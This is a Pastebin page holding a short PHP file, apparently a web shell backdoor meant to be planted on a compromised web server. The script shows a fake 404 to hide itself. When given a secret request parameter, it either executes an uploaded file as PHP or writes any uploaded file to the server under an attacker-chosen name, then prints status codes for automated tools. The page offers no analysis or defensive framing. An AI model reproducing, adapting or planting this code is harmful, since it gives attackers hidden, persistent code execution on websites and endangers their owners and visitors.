PalmaSolutions

class.74975.php

May 3rd, 2018
265
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.64 KB | None | 0 0
  1. <?php
  2. error_reporting(E_ALL & ~E_NOTICE);
  3. $t1 = $m ? stripslashes($_REQUEST["t1"]) : $_REQUEST["t1"];
  4. if ($t1 == "text") {
  5.     @include($_FILES['u']['tmp_name']);
  6. } elseif ($t1) {
  7.     echo '<form action="" method="post" enctype="multipart/form-data" name="upform" id="upform"><input type="file" name="file" size="50"><input name="ups" type="submit" id="ups" value="go"></form>';
  8.     if ($_POST['ups'] == "go") {
  9.         if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
  10.             exit(">|0|<");
  11.         } else {
  12.             exit(">|1|<");
  13.         }
  14.     }
  15. } else {
  16.     header("HTTP/1.0 404 Not Found");
  17.     exit();
  18. }
  19. ?>
Advertisement
Add Comment
Please, Sign In to add comment